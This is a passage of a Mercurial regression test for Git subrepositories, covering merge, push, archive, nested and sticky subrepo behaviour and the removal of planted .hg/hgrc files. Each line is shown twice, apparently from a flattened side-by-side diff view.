118 $ hg debugsub
119 path s
119 path s
120 source ../gitroot
120 source ../gitroot
121 revision 79695940086840c99328513acbe35f90fcd55e57
121 revision 79695940086840c99328513acbe35f90fcd55e57
122
122
123 clone root separately, make different local change
123 clone root separately, make different local change
124
124
125 $ cd ../t
125 $ cd ../t
126 $ hg clone . ../tb 2> /dev/null
126 $ hg clone . ../tb 2> /dev/null
127 updating to branch default
127 updating to branch default
128 cloning subrepo s from $TESTTMP/gitroot
128 cloning subrepo s from $TESTTMP/gitroot
129 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
129 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
130
130
131 $ cd ../tb/s
131 $ cd ../tb/s
132 $ hg status --subrepos
132 $ hg status --subrepos
133 $ echo f > f
133 $ echo f > f
134 $ hg status --subrepos
134 $ hg status --subrepos
135 ? s/f
135 ? s/f
136 $ hg add .
136 $ hg add .
137 adding f
137 adding f
138 $ git add f
138 $ git add f
139 $ cd ..
139 $ cd ..
140
140
141 $ hg status --subrepos
141 $ hg status --subrepos
142 A s/f
142 A s/f
143 $ hg commit --subrepos -m f
143 $ hg commit --subrepos -m f
144 committing subrepository s
144 committing subrepository s
145 $ hg debugsub
145 $ hg debugsub
146 path s
146 path s
147 source ../gitroot
147 source ../gitroot
148 revision aa84837ccfbdfedcdcdeeedc309d73e6eb069edc
148 revision aa84837ccfbdfedcdcdeeedc309d73e6eb069edc
149
149
150 user b push changes
150 user b push changes
151
151
152 $ hg push 2>/dev/null
152 $ hg push 2>/dev/null
153 pushing to $TESTTMP/t (glob)
153 pushing to $TESTTMP/t (glob)
154 pushing branch testing of subrepo s
154 pushing branch testing of subrepo s
155 searching for changes
155 searching for changes
156 adding changesets
156 adding changesets
157 adding manifests
157 adding manifests
158 adding file changes
158 adding file changes
159 added 1 changesets with 1 changes to 1 files
159 added 1 changesets with 1 changes to 1 files
160
160
161 user a pulls, merges, commits
161 user a pulls, merges, commits
162
162
163 $ cd ../ta
163 $ cd ../ta
164 $ hg pull
164 $ hg pull
165 pulling from $TESTTMP/t (glob)
165 pulling from $TESTTMP/t (glob)
166 searching for changes
166 searching for changes
167 adding changesets
167 adding changesets
168 adding manifests
168 adding manifests
169 adding file changes
169 adding file changes
170 added 1 changesets with 1 changes to 1 files (+1 heads)
170 added 1 changesets with 1 changes to 1 files (+1 heads)
171 (run 'hg heads' to see heads, 'hg merge' to merge)
171 (run 'hg heads' to see heads, 'hg merge' to merge)
172 $ hg merge 2>/dev/null
172 $ hg merge 2>/dev/null
173 subrepository s diverged (local revision: 7969594, remote revision: aa84837)
173 subrepository s diverged (local revision: 7969594, remote revision: aa84837)
174 (M)erge, keep (l)ocal [working copy] or keep (r)emote [merge rev]? m
174 (M)erge, keep (l)ocal [working copy] or keep (r)emote [merge rev]? m
175 pulling subrepo s from $TESTTMP/gitroot
175 pulling subrepo s from $TESTTMP/gitroot
176 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
176 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
177 (branch merge, don't forget to commit)
177 (branch merge, don't forget to commit)
178 $ hg st --subrepos s
178 $ hg st --subrepos s
179 A s/f
179 A s/f
180 $ cat s/f
180 $ cat s/f
181 f
181 f
182 $ cat s/g
182 $ cat s/g
183 g
183 g
184 gg
184 gg
185 ggg
185 ggg
186 $ hg commit --subrepos -m 'merge'
186 $ hg commit --subrepos -m 'merge'
187 committing subrepository s
187 committing subrepository s
188 $ hg status --subrepos --rev 1:5
188 $ hg status --subrepos --rev 1:5
189 M .hgsubstate
189 M .hgsubstate
190 M s/g
190 M s/g
191 A s/f
191 A s/f
192 $ hg debugsub
192 $ hg debugsub
193 path s
193 path s
194 source ../gitroot
194 source ../gitroot
195 revision f47b465e1bce645dbf37232a00574aa1546ca8d3
195 revision f47b465e1bce645dbf37232a00574aa1546ca8d3
196 $ hg push 2>/dev/null
196 $ hg push 2>/dev/null
197 pushing to $TESTTMP/t (glob)
197 pushing to $TESTTMP/t (glob)
198 pushing branch testing of subrepo s
198 pushing branch testing of subrepo s
199 searching for changes
199 searching for changes
200 adding changesets
200 adding changesets
201 adding manifests
201 adding manifests
202 adding file changes
202 adding file changes
203 added 2 changesets with 2 changes to 1 files
203 added 2 changesets with 2 changes to 1 files
204
204
205 make upstream git changes
205 make upstream git changes
206
206
207 $ cd ..
207 $ cd ..
208 $ git clone -q gitroot gitclone
208 $ git clone -q gitroot gitclone
209 $ cd gitclone
209 $ cd gitclone
210 $ echo ff >> f
210 $ echo ff >> f
211 $ git commit -q -a -m ff
211 $ git commit -q -a -m ff
212 $ echo fff >> f
212 $ echo fff >> f
213 $ git commit -q -a -m fff
213 $ git commit -q -a -m fff
214 $ git push origin testing 2>/dev/null
214 $ git push origin testing 2>/dev/null
215
215
216 make and push changes to hg without updating the subrepo
216 make and push changes to hg without updating the subrepo
217
217
218 $ cd ../t
218 $ cd ../t
219 $ hg clone . ../td 2>&1 | egrep -v '^Cloning into|^done\.'
219 $ hg clone . ../td 2>&1 | egrep -v '^Cloning into|^done\.'
220 updating to branch default
220 updating to branch default
221 cloning subrepo s from $TESTTMP/gitroot
221 cloning subrepo s from $TESTTMP/gitroot
222 checking out detached HEAD in subrepo s
222 checking out detached HEAD in subrepo s
223 check out a git branch if you intend to make changes
223 check out a git branch if you intend to make changes
224 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
224 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
225 $ cd ../td
225 $ cd ../td
226 $ echo aa >> a
226 $ echo aa >> a
227 $ hg commit -m aa
227 $ hg commit -m aa
228 $ hg push
228 $ hg push
229 pushing to $TESTTMP/t (glob)
229 pushing to $TESTTMP/t (glob)
230 searching for changes
230 searching for changes
231 adding changesets
231 adding changesets
232 adding manifests
232 adding manifests
233 adding file changes
233 adding file changes
234 added 1 changesets with 1 changes to 1 files
234 added 1 changesets with 1 changes to 1 files
235
235
236 sync to upstream git, distribute changes
236 sync to upstream git, distribute changes
237
237
238 $ cd ../ta
238 $ cd ../ta
239 $ hg pull -u -q
239 $ hg pull -u -q
240 $ cd s
240 $ cd s
241 $ git pull -q >/dev/null 2>/dev/null
241 $ git pull -q >/dev/null 2>/dev/null
242 $ cd ..
242 $ cd ..
243 $ hg commit -m 'git upstream sync'
243 $ hg commit -m 'git upstream sync'
244 $ hg debugsub
244 $ hg debugsub
245 path s
245 path s
246 source ../gitroot
246 source ../gitroot
247 revision 32a343883b74769118bb1d3b4b1fbf9156f4dddc
247 revision 32a343883b74769118bb1d3b4b1fbf9156f4dddc
248 $ hg push -q
248 $ hg push -q
249
249
250 $ cd ../tb
250 $ cd ../tb
251 $ hg pull -q
251 $ hg pull -q
252 $ hg update 2>/dev/null
252 $ hg update 2>/dev/null
253 pulling subrepo s from $TESTTMP/gitroot
253 pulling subrepo s from $TESTTMP/gitroot
254 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
254 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
255 $ hg debugsub
255 $ hg debugsub
256 path s
256 path s
257 source ../gitroot
257 source ../gitroot
258 revision 32a343883b74769118bb1d3b4b1fbf9156f4dddc
258 revision 32a343883b74769118bb1d3b4b1fbf9156f4dddc
259
259
260 create a new git branch
260 create a new git branch
261
261
262 $ cd s
262 $ cd s
263 $ git checkout -b b2
263 $ git checkout -b b2
264 Switched to a new branch 'b2'
264 Switched to a new branch 'b2'
265 $ echo a>a
265 $ echo a>a
266 $ git add a
266 $ git add a
267 $ git commit -qm 'add a'
267 $ git commit -qm 'add a'
268 $ cd ..
268 $ cd ..
269 $ hg commit -m 'add branch in s'
269 $ hg commit -m 'add branch in s'
270
270
271 pulling new git branch should not create tracking branch named 'origin/b2'
271 pulling new git branch should not create tracking branch named 'origin/b2'
272 (issue3870)
272 (issue3870)
273 $ cd ../td/s
273 $ cd ../td/s
274 $ git remote set-url origin $TESTTMP/tb/s
274 $ git remote set-url origin $TESTTMP/tb/s
275 $ git branch --no-track oldtesting
275 $ git branch --no-track oldtesting
276 $ cd ..
276 $ cd ..
277 $ hg pull -q ../tb
277 $ hg pull -q ../tb
278 $ hg up
278 $ hg up
279 From $TESTTMP/tb/s
279 From $TESTTMP/tb/s
280 * [new branch] b2 -> origin/b2
280 * [new branch] b2 -> origin/b2
281 Previous HEAD position was f47b465... merge
281 Previous HEAD position was f47b465... merge
282 Switched to a new branch 'b2'
282 Switched to a new branch 'b2'
283 pulling subrepo s from $TESTTMP/tb/s
283 pulling subrepo s from $TESTTMP/tb/s
284 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
284 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
285
285
286 update to a revision without the subrepo, keeping the local git repository
286 update to a revision without the subrepo, keeping the local git repository
287
287
288 $ cd ../t
288 $ cd ../t
289 $ hg up 0
289 $ hg up 0
290 0 files updated, 0 files merged, 2 files removed, 0 files unresolved
290 0 files updated, 0 files merged, 2 files removed, 0 files unresolved
291 $ ls -a s
291 $ ls -a s
292 .
292 .
293 ..
293 ..
294 .git
294 .git
295
295
296 $ hg up 2
296 $ hg up 2
297 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
297 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
298 $ ls -a s
298 $ ls -a s
299 .
299 .
300 ..
300 ..
301 .git
301 .git
302 g
302 g
303
303
304 archive subrepos
304 archive subrepos
305
305
306 $ cd ../tc
306 $ cd ../tc
307 $ hg pull -q
307 $ hg pull -q
308 $ hg archive --subrepos -r 5 ../archive 2>/dev/null
308 $ hg archive --subrepos -r 5 ../archive 2>/dev/null
309 pulling subrepo s from $TESTTMP/gitroot
309 pulling subrepo s from $TESTTMP/gitroot
310 $ cd ../archive
310 $ cd ../archive
311 $ cat s/f
311 $ cat s/f
312 f
312 f
313 $ cat s/g
313 $ cat s/g
314 g
314 g
315 gg
315 gg
316 ggg
316 ggg
317
317
318 $ hg -R ../tc archive --subrepo -r 5 -X ../tc/**f ../archive_x 2>/dev/null
318 $ hg -R ../tc archive --subrepo -r 5 -X ../tc/**f ../archive_x 2>/dev/null
319 $ find ../archive_x | sort | grep -v pax_global_header
319 $ find ../archive_x | sort | grep -v pax_global_header
320 ../archive_x
320 ../archive_x
321 ../archive_x/.hg_archival.txt
321 ../archive_x/.hg_archival.txt
322 ../archive_x/.hgsub
322 ../archive_x/.hgsub
323 ../archive_x/.hgsubstate
323 ../archive_x/.hgsubstate
324 ../archive_x/a
324 ../archive_x/a
325 ../archive_x/s
325 ../archive_x/s
326 ../archive_x/s/g
326 ../archive_x/s/g
327
327
328 $ hg -R ../tc archive -S ../archive.tgz --prefix '.' 2>/dev/null
328 $ hg -R ../tc archive -S ../archive.tgz --prefix '.' 2>/dev/null
329 $ tar -tzf ../archive.tgz | sort | grep -v pax_global_header
329 $ tar -tzf ../archive.tgz | sort | grep -v pax_global_header
330 .hg_archival.txt
330 .hg_archival.txt
331 .hgsub
331 .hgsub
332 .hgsubstate
332 .hgsubstate
333 a
333 a
334 s/g
334 s/g
335
335
336 create nested repo
336 create nested repo
337
337
338 $ cd ..
338 $ cd ..
339 $ hg init outer
339 $ hg init outer
340 $ cd outer
340 $ cd outer
341 $ echo b>b
341 $ echo b>b
342 $ hg add b
342 $ hg add b
343 $ hg commit -m b
343 $ hg commit -m b
344
344
345 $ hg clone ../t inner 2> /dev/null
345 $ hg clone ../t inner 2> /dev/null
346 updating to branch default
346 updating to branch default
347 cloning subrepo s from $TESTTMP/gitroot
347 cloning subrepo s from $TESTTMP/gitroot
348 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
348 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
349 $ echo inner = inner > .hgsub
349 $ echo inner = inner > .hgsub
350 $ hg add .hgsub
350 $ hg add .hgsub
351 $ hg commit -m 'nested sub'
351 $ hg commit -m 'nested sub'
352
352
353 nested commit
353 nested commit
354
354
355 $ echo ffff >> inner/s/f
355 $ echo ffff >> inner/s/f
356 $ hg status --subrepos
356 $ hg status --subrepos
357 M inner/s/f
357 M inner/s/f
358 $ hg commit --subrepos -m nested
358 $ hg commit --subrepos -m nested
359 committing subrepository inner
359 committing subrepository inner
360 committing subrepository inner/s (glob)
360 committing subrepository inner/s (glob)
361
361
362 nested archive
362 nested archive
363
363
364 $ hg archive --subrepos ../narchive
364 $ hg archive --subrepos ../narchive
365 $ ls ../narchive/inner/s | grep -v pax_global_header
365 $ ls ../narchive/inner/s | grep -v pax_global_header
366 f
366 f
367 g
367 g
368
368
369 relative source expansion
369 relative source expansion
370
370
371 $ cd ..
371 $ cd ..
372 $ mkdir d
372 $ mkdir d
373 $ hg clone t d/t 2> /dev/null
373 $ hg clone t d/t 2> /dev/null
374 updating to branch default
374 updating to branch default
375 cloning subrepo s from $TESTTMP/gitroot
375 cloning subrepo s from $TESTTMP/gitroot
376 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
376 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
377
377
378 Don't crash if the subrepo is missing
378 Don't crash if the subrepo is missing
379
379
380 $ hg clone t missing -q
380 $ hg clone t missing -q
381 $ cd missing
381 $ cd missing
382 $ rm -rf s
382 $ rm -rf s
383 $ hg status -S
383 $ hg status -S
384 $ hg sum | grep commit
384 $ hg sum | grep commit
385 commit: 1 subrepos
385 commit: 1 subrepos
386 $ hg push -q
386 $ hg push -q
387 abort: subrepo s is missing (in subrepo s)
387 abort: subrepo s is missing (in subrepo s)
388 [255]
388 [255]
389 $ hg commit --subrepos -qm missing
389 $ hg commit --subrepos -qm missing
390 abort: subrepo s is missing (in subrepo s)
390 abort: subrepo s is missing (in subrepo s)
391 [255]
391 [255]
392
392
393 #if symlink
393 #if symlink
394 Don't crash if subrepo is a broken symlink
394 Don't crash if subrepo is a broken symlink
395 $ ln -s broken s
395 $ ln -s broken s
396 $ hg status -S
396 $ hg status -S
397 $ hg push -q
397 $ hg push -q
398 abort: subrepo s is missing (in subrepo s)
398 abort: subrepo s is missing (in subrepo s)
399 [255]
399 [255]
400 $ hg commit --subrepos -qm missing
400 $ hg commit --subrepos -qm missing
401 abort: subrepo s is missing (in subrepo s)
401 abort: subrepo s is missing (in subrepo s)
402 [255]
402 [255]
403 $ rm s
403 $ rm s
404 #endif
404 #endif
405
405
406 $ hg update -C 2> /dev/null
406 $ hg update -C 2> /dev/null
407 cloning subrepo s from $TESTTMP/gitroot
407 cloning subrepo s from $TESTTMP/gitroot
408 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
408 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
409 $ hg sum | grep commit
409 $ hg sum | grep commit
410 commit: (clean)
410 commit: (clean)
411
411
412 Don't crash if the .hgsubstate entry is missing
412 Don't crash if the .hgsubstate entry is missing
413
413
414 $ hg update 1 -q
414 $ hg update 1 -q
415 $ hg rm .hgsubstate
415 $ hg rm .hgsubstate
416 $ hg commit .hgsubstate -m 'no substate'
416 $ hg commit .hgsubstate -m 'no substate'
417 nothing changed
417 nothing changed
418 [1]
418 [1]
419 $ hg tag -l nosubstate
419 $ hg tag -l nosubstate
420 $ hg manifest
420 $ hg manifest
421 .hgsub
421 .hgsub
422 .hgsubstate
422 .hgsubstate
423 a
423 a
424
424
425 $ hg status -S
425 $ hg status -S
426 R .hgsubstate
426 R .hgsubstate
427 $ hg sum | grep commit
427 $ hg sum | grep commit
428 commit: 1 removed, 1 subrepos (new branch head)
428 commit: 1 removed, 1 subrepos (new branch head)
429
429
430 $ hg commit -m 'restore substate'
430 $ hg commit -m 'restore substate'
431 nothing changed
431 nothing changed
432 [1]
432 [1]
433 $ hg manifest
433 $ hg manifest
434 .hgsub
434 .hgsub
435 .hgsubstate
435 .hgsubstate
436 a
436 a
437 $ hg sum | grep commit
437 $ hg sum | grep commit
438 commit: 1 removed, 1 subrepos (new branch head)
438 commit: 1 removed, 1 subrepos (new branch head)
439
439
440 $ hg update -qC nosubstate
440 $ hg update -qC nosubstate
441 $ ls s
441 $ ls s
442 g
442 g
443
443
444 issue3109: false positives in git diff-index
444 issue3109: false positives in git diff-index
445
445
446 $ hg update -q
446 $ hg update -q
447 $ touch -t 200001010000 s/g
447 $ touch -t 200001010000 s/g
448 $ hg status --subrepos
448 $ hg status --subrepos
449 $ touch -t 200001010000 s/g
449 $ touch -t 200001010000 s/g
450 $ hg sum | grep commit
450 $ hg sum | grep commit
451 commit: (clean)
451 commit: (clean)
452
452
453 Check hg update --clean
453 Check hg update --clean
454 $ cd $TESTTMP/ta
454 $ cd $TESTTMP/ta
455 $ echo > s/g
455 $ echo > s/g
456 $ cd s
456 $ cd s
457 $ echo c1 > f1
457 $ echo c1 > f1
458 $ echo c1 > f2
458 $ echo c1 > f2
459 $ git add f1
459 $ git add f1
460 $ cd ..
460 $ cd ..
461 $ hg status -S
461 $ hg status -S
462 M s/g
462 M s/g
463 A s/f1
463 A s/f1
464 ? s/f2
464 ? s/f2
465 $ ls s
465 $ ls s
466 f
466 f
467 f1
467 f1
468 f2
468 f2
469 g
469 g
470 $ hg update --clean
470 $ hg update --clean
471 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
471 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
472 $ hg status -S
472 $ hg status -S
473 ? s/f1
473 ? s/f1
474 ? s/f2
474 ? s/f2
475 $ ls s
475 $ ls s
476 f
476 f
477 f1
477 f1
478 f2
478 f2
479 g
479 g
480
480
481 Sticky subrepositories, no changes
481 Sticky subrepositories, no changes
482 $ cd $TESTTMP/ta
482 $ cd $TESTTMP/ta
483 $ hg id -n
483 $ hg id -n
484 7
484 7
485 $ cd s
485 $ cd s
486 $ git rev-parse HEAD
486 $ git rev-parse HEAD
487 32a343883b74769118bb1d3b4b1fbf9156f4dddc
487 32a343883b74769118bb1d3b4b1fbf9156f4dddc
488 $ cd ..
488 $ cd ..
489 $ hg update 1 > /dev/null 2>&1
489 $ hg update 1 > /dev/null 2>&1
490 $ hg id -n
490 $ hg id -n
491 1
491 1
492 $ cd s
492 $ cd s
493 $ git rev-parse HEAD
493 $ git rev-parse HEAD
494 da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
494 da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
495 $ cd ..
495 $ cd ..
496
496
497 Sticky subrepositories, file changes
497 Sticky subrepositories, file changes
498 $ touch s/f1
498 $ touch s/f1
499 $ cd s
499 $ cd s
500 $ git add f1
500 $ git add f1
501 $ cd ..
501 $ cd ..
502 $ hg id -n
502 $ hg id -n
503 1+
503 1+
504 $ cd s
504 $ cd s
505 $ git rev-parse HEAD
505 $ git rev-parse HEAD
506 da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
506 da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
507 $ cd ..
507 $ cd ..
508 $ hg update 4
508 $ hg update 4
509 subrepository s diverged (local revision: da5f5b1, remote revision: aa84837)
509 subrepository s diverged (local revision: da5f5b1, remote revision: aa84837)
510 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
510 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
511 subrepository sources for s differ
511 subrepository sources for s differ
512 use (l)ocal source (da5f5b1) or (r)emote source (aa84837)? l
512 use (l)ocal source (da5f5b1) or (r)emote source (aa84837)? l
513 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
513 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
514 $ hg id -n
514 $ hg id -n
515 4+
515 4+
516 $ cd s
516 $ cd s
517 $ git rev-parse HEAD
517 $ git rev-parse HEAD
518 da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
518 da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
519 $ cd ..
519 $ cd ..
520 $ hg update --clean tip > /dev/null 2>&1
520 $ hg update --clean tip > /dev/null 2>&1
521
521
522 Sticky subrepository, revision updates
522 Sticky subrepository, revision updates
523 $ hg id -n
523 $ hg id -n
524 7
524 7
525 $ cd s
525 $ cd s
526 $ git rev-parse HEAD
526 $ git rev-parse HEAD
527 32a343883b74769118bb1d3b4b1fbf9156f4dddc
527 32a343883b74769118bb1d3b4b1fbf9156f4dddc
528 $ cd ..
528 $ cd ..
529 $ cd s
529 $ cd s
530 $ git checkout aa84837ccfbdfedcdcdeeedc309d73e6eb069edc
530 $ git checkout aa84837ccfbdfedcdcdeeedc309d73e6eb069edc
531 Previous HEAD position was 32a3438... fff
531 Previous HEAD position was 32a3438... fff
532 HEAD is now at aa84837... f
532 HEAD is now at aa84837... f
533 $ cd ..
533 $ cd ..
534 $ hg update 1
534 $ hg update 1
535 subrepository s diverged (local revision: 32a3438, remote revision: da5f5b1)
535 subrepository s diverged (local revision: 32a3438, remote revision: da5f5b1)
536 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
536 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
537 subrepository sources for s differ (in checked out version)
537 subrepository sources for s differ (in checked out version)
538 use (l)ocal source (32a3438) or (r)emote source (da5f5b1)? l
538 use (l)ocal source (32a3438) or (r)emote source (da5f5b1)? l
539 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
539 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
540 $ hg id -n
540 $ hg id -n
541 1+
541 1+
542 $ cd s
542 $ cd s
543 $ git rev-parse HEAD
543 $ git rev-parse HEAD
544 aa84837ccfbdfedcdcdeeedc309d73e6eb069edc
544 aa84837ccfbdfedcdcdeeedc309d73e6eb069edc
545 $ cd ..
545 $ cd ..
546
546
547 Sticky subrepository, file changes and revision updates
547 Sticky subrepository, file changes and revision updates
548 $ touch s/f1
548 $ touch s/f1
549 $ cd s
549 $ cd s
550 $ git add f1
550 $ git add f1
551 $ git rev-parse HEAD
551 $ git rev-parse HEAD
552 aa84837ccfbdfedcdcdeeedc309d73e6eb069edc
552 aa84837ccfbdfedcdcdeeedc309d73e6eb069edc
553 $ cd ..
553 $ cd ..
554 $ hg id -n
554 $ hg id -n
555 1+
555 1+
556 $ hg update 7
556 $ hg update 7
557 subrepository s diverged (local revision: 32a3438, remote revision: 32a3438)
557 subrepository s diverged (local revision: 32a3438, remote revision: 32a3438)
558 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
558 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
559 subrepository sources for s differ
559 subrepository sources for s differ
560 use (l)ocal source (32a3438) or (r)emote source (32a3438)? l
560 use (l)ocal source (32a3438) or (r)emote source (32a3438)? l
561 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
561 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
562 $ hg id -n
562 $ hg id -n
563 7+
563 7+
564 $ cd s
564 $ cd s
565 $ git rev-parse HEAD
565 $ git rev-parse HEAD
566 aa84837ccfbdfedcdcdeeedc309d73e6eb069edc
566 aa84837ccfbdfedcdcdeeedc309d73e6eb069edc
567 $ cd ..
567 $ cd ..
568
568
569 Sticky repository, update --clean
569 Sticky repository, update --clean
570 $ hg update --clean tip 2>/dev/null
570 $ hg update --clean tip 2>/dev/null
571 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
571 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
572 $ hg id -n
572 $ hg id -n
573 7
573 7
574 $ cd s
574 $ cd s
575 $ git rev-parse HEAD
575 $ git rev-parse HEAD
576 32a343883b74769118bb1d3b4b1fbf9156f4dddc
576 32a343883b74769118bb1d3b4b1fbf9156f4dddc
577 $ cd ..
577 $ cd ..
578
578
579 Test subrepo already at intended revision:
579 Test subrepo already at intended revision:
580 $ cd s
580 $ cd s
581 $ git checkout 32a343883b74769118bb1d3b4b1fbf9156f4dddc
581 $ git checkout 32a343883b74769118bb1d3b4b1fbf9156f4dddc
582 HEAD is now at 32a3438... fff
582 HEAD is now at 32a3438... fff
583 $ cd ..
583 $ cd ..
584 $ hg update 1
584 $ hg update 1
585 Previous HEAD position was 32a3438... fff
585 Previous HEAD position was 32a3438... fff
586 HEAD is now at da5f5b1... g
586 HEAD is now at da5f5b1... g
587 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
587 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
588 $ hg id -n
588 $ hg id -n
589 1
589 1
590 $ cd s
590 $ cd s
591 $ git rev-parse HEAD
591 $ git rev-parse HEAD
592 da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
592 da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
593 $ cd ..
593 $ cd ..
594
594
595 Test forgetting files, not implemented in git subrepo, used to
595 Test forgetting files, not implemented in git subrepo, used to
596 traceback
596 traceback
597 #if no-windows
597 #if no-windows
598 $ hg forget 'notafile*'
598 $ hg forget 'notafile*'
599 notafile*: No such file or directory
599 notafile*: No such file or directory
600 [1]
600 [1]
601 #else
601 #else
602 $ hg forget 'notafile'
602 $ hg forget 'notafile'
603 notafile: * (glob)
603 notafile: * (glob)
604 [1]
604 [1]
605 #endif
605 #endif
606
606
607 $ cd ..
607 $ cd ..
608
608
609 Test sanitizing ".hg/hgrc" in subrepo
609 Test sanitizing ".hg/hgrc" in subrepo
610
610
611 $ cd t
611 $ cd t
612 $ hg tip -q
612 $ hg tip -q
613 7:af6d2edbb0d3
613 7:af6d2edbb0d3
614 $ hg update -q -C af6d2edbb0d3
614 $ hg update -q -C af6d2edbb0d3
615 $ cd s
615 $ cd s
616 $ git checkout -q -b sanitize-test
616 $ git checkout -q -b sanitize-test
617 $ mkdir .hg
617 $ mkdir .hg
618 $ echo '.hg/hgrc in git repo' > .hg/hgrc
618 $ echo '.hg/hgrc in git repo' > .hg/hgrc
619 $ mkdir -p sub/.hg
619 $ mkdir -p sub/.hg
620 $ echo 'sub/.hg/hgrc in git repo' > sub/.hg/hgrc
620 $ echo 'sub/.hg/hgrc in git repo' > sub/.hg/hgrc
621 $ git add .hg sub
621 $ git add .hg sub
622 $ git commit -qm 'add .hg/hgrc to be sanitized at hg update'
622 $ git commit -qm 'add .hg/hgrc to be sanitized at hg update'
623 $ git push -q origin sanitize-test
623 $ git push -q origin sanitize-test
624 $ cd ..
624 $ cd ..
625 $ grep ' s$' .hgsubstate
625 $ grep ' s$' .hgsubstate
626 32a343883b74769118bb1d3b4b1fbf9156f4dddc s
626 32a343883b74769118bb1d3b4b1fbf9156f4dddc s
627 $ hg commit -qm 'commit with git revision including .hg/hgrc'
627 $ hg commit -qm 'commit with git revision including .hg/hgrc'
628 $ hg parents -q
628 $ hg parents -q
629 8:3473d20bddcf
629 8:3473d20bddcf
630 $ grep ' s$' .hgsubstate
630 $ grep ' s$' .hgsubstate
631 c4069473b459cf27fd4d7c2f50c4346b4e936599 s
631 c4069473b459cf27fd4d7c2f50c4346b4e936599 s
632 $ cd ..
632 $ cd ..
633
633
634 $ hg -R tc pull -q
634 $ hg -R tc pull -q
635 $ hg -R tc update -q -C 3473d20bddcf 2>&1 | sort
635 $ hg -R tc update -q -C 3473d20bddcf 2>&1 | sort
636 warning: removing potentially hostile 'hgrc' in '$TESTTMP/tc/s/.hg' (glob)
636 warning: removing potentially hostile 'hgrc' in '$TESTTMP/tc/s/.hg' (glob)
637 warning: removing potentially hostile 'hgrc' in '$TESTTMP/tc/s/sub/.hg' (glob)
637 warning: removing potentially hostile 'hgrc' in '$TESTTMP/tc/s/sub/.hg' (glob)
638 $ cd tc
638 $ cd tc
639 $ hg parents -q
639 $ hg parents -q
640 8:3473d20bddcf
640 8:3473d20bddcf
641 $ grep ' s$' .hgsubstate
641 $ grep ' s$' .hgsubstate
642 c4069473b459cf27fd4d7c2f50c4346b4e936599 s
642 c4069473b459cf27fd4d7c2f50c4346b4e936599 s
643 $ test -f s/.hg/hgrc
643 $ test -f s/.hg/hgrc
644 [1]
644 [1]
645 $ test -f s/sub/.hg/hgrc
645 $ test -f s/sub/.hg/hgrc
646 [1]
646 [1]
647 $ cd ..
647 $ cd ..
648
648
649 additional test for "git merge --ff" route:
649 additional test for "git merge --ff" route:
650
650
651 $ cd t
651 $ cd t
652 $ hg tip -q
652 $ hg tip -q
653 8:3473d20bddcf
653 8:3473d20bddcf
654 $ hg update -q -C af6d2edbb0d3
654 $ hg update -q -C af6d2edbb0d3
655 $ cd s
655 $ cd s
656 $ git checkout -q testing
656 $ git checkout -q testing
657 $ mkdir .hg
657 $ mkdir .hg
658 $ echo '.hg/hgrc in git repo' > .hg/hgrc
658 $ echo '.hg/hgrc in git repo' > .hg/hgrc
659 $ mkdir -p sub/.hg
659 $ mkdir -p sub/.hg
660 $ echo 'sub/.hg/hgrc in git repo' > sub/.hg/hgrc
660 $ echo 'sub/.hg/hgrc in git repo' > sub/.hg/hgrc
661 $ git add .hg sub
661 $ git add .hg sub
662 $ git commit -qm 'add .hg/hgrc to be sanitized at hg update (git merge --ff)'
662 $ git commit -qm 'add .hg/hgrc to be sanitized at hg update (git merge --ff)'
663 $ git push -q origin testing
663 $ git push -q origin testing
664 $ cd ..
664 $ cd ..
665 $ grep ' s$' .hgsubstate
665 $ grep ' s$' .hgsubstate
666 32a343883b74769118bb1d3b4b1fbf9156f4dddc s
666 32a343883b74769118bb1d3b4b1fbf9156f4dddc s
667 $ hg commit -qm 'commit with git revision including .hg/hgrc'
667 $ hg commit -qm 'commit with git revision including .hg/hgrc'
668 $ hg parents -q
668 $ hg parents -q
669 9:ed23f7fe024e
669 9:ed23f7fe024e
670 $ grep ' s$' .hgsubstate
670 $ grep ' s$' .hgsubstate
671 f262643c1077219fbd3858d54e78ef050ef84fbf s
671 f262643c1077219fbd3858d54e78ef050ef84fbf s
672 $ cd ..
672 $ cd ..
673
673
674 $ cd tc
674 $ cd tc
675 $ hg update -q -C af6d2edbb0d3
675 $ hg update -q -C af6d2edbb0d3
